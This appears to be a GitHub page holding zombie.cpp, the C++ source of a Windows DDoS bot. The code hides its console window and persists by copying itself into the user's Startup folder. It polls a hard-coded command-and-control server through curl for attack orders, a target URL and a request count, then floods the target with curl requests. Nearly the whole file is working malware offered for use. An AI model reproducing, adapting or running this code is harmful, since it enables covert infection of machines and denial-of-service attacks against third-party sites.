-
Notifications
You must be signed in to change notification settings - Fork 43
/
zombie.cpp
141 lines (119 loc) · 3.84 KB
/
zombie.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#include <bits/stdc++.h>
#include <windows.h>
#include <unistd.h>
// Replace It with the server link or IP where PHP server is running
// The PHP files to put on server is in server directory.
#define SERVER_URL "zombie-ddos.herokuapp.com"
using namespace std;
void runInBackground();
void saveStartup();
string makeRequest(string method, string uri);
void startDDOS(string link, string iterations);
string randomString(int n);
string link;
string iterations;
string bot_id;
std::string exec(const char* cmd) {
char buffer[128];
std::string result = "";
FILE* pipe = popen(cmd, "r");
if (!pipe) throw std::runtime_error("popen() failed!");
try {
while (fgets(buffer, sizeof buffer, pipe) != NULL) {
result += buffer;
}
} catch (...) {
pclose(pipe);
throw;
}
pclose(pipe);
return result;
}
int main()
{
string attackFlag;
bot_id = randomString(6);
// Run process in background
runInBackground();
// Save to startup
saveStartup();
// Life of worm begins here
while(1) {
attackFlag = makeRequest("GET", "attack.php?bot_id=" + bot_id);
if(attackFlag == "1") {
link = makeRequest("GET", "link.php");
iterations = makeRequest("GET", "itr.php");
startDDOS(link, iterations);
}
if(attackFlag != "1")
sleep(180);
}
return 0;
}
/*
* =======================================================================================
* RUN AS BACKGROUND PROCESS -> return void
* =======================================================================================
*/
void runInBackground()
{
HWND window;
AllocConsole();
window = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(window, 0);
}
/*
* =======================================================================================
* SAVE TO STARTUP FOLDER -> return void
* =======================================================================================
*/
void saveStartup()
{
string startup_directory = "\"%HOMEDRIVE%%HOMEPATH%\\Start Menu\\Programs\\Startup";
string dir_place_worm = startup_directory + "\\bot.exe";
string cmd_copy_worm_startup = "xcopy \".\\bot.exe\" " + dir_place_worm + "*\" /Y";
const char *cmd_copy_worm_startup_p = cmd_copy_worm_startup.c_str();
system(cmd_copy_worm_startup_p);
}
/*
* =======================================================================================
* DDOS ATTACK FUNCTION -> return void
* =======================================================================================
*/
void startDDOS(string link, string iterations)
{
string ddos_cmd = "curl -s \"" + link + "?[0-" + iterations + "]\"";
const char *ddos_cmd_p = ddos_cmd.c_str();
system(ddos_cmd_p);
}
/*
* =======================================================================================
* MAKE REQUEST FUNCTION -> returns response string
* =======================================================================================
*/
string makeRequest(string method, string uri)
{
string retval;
string cmd_for_get_request = "curl -X "
+ method
+ " " + SERVER_URL +"/"
+ uri;
const char *cmd_for_get_request_p = cmd_for_get_request.c_str();
return exec(cmd_for_get_request_p);
}
/*
* =======================================================================================
* -----------------------------UTIL FUNCTIONS HERE ONLY----------------------------------
* =======================================================================================
*/
string randomString(int n)
{
char alphabet[26] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u',
'v', 'w', 'x', 'y', 'z' };
string res = "";
for (int i = 0; i < n; i++)
res = res + alphabet[rand() % 26];
return res;
}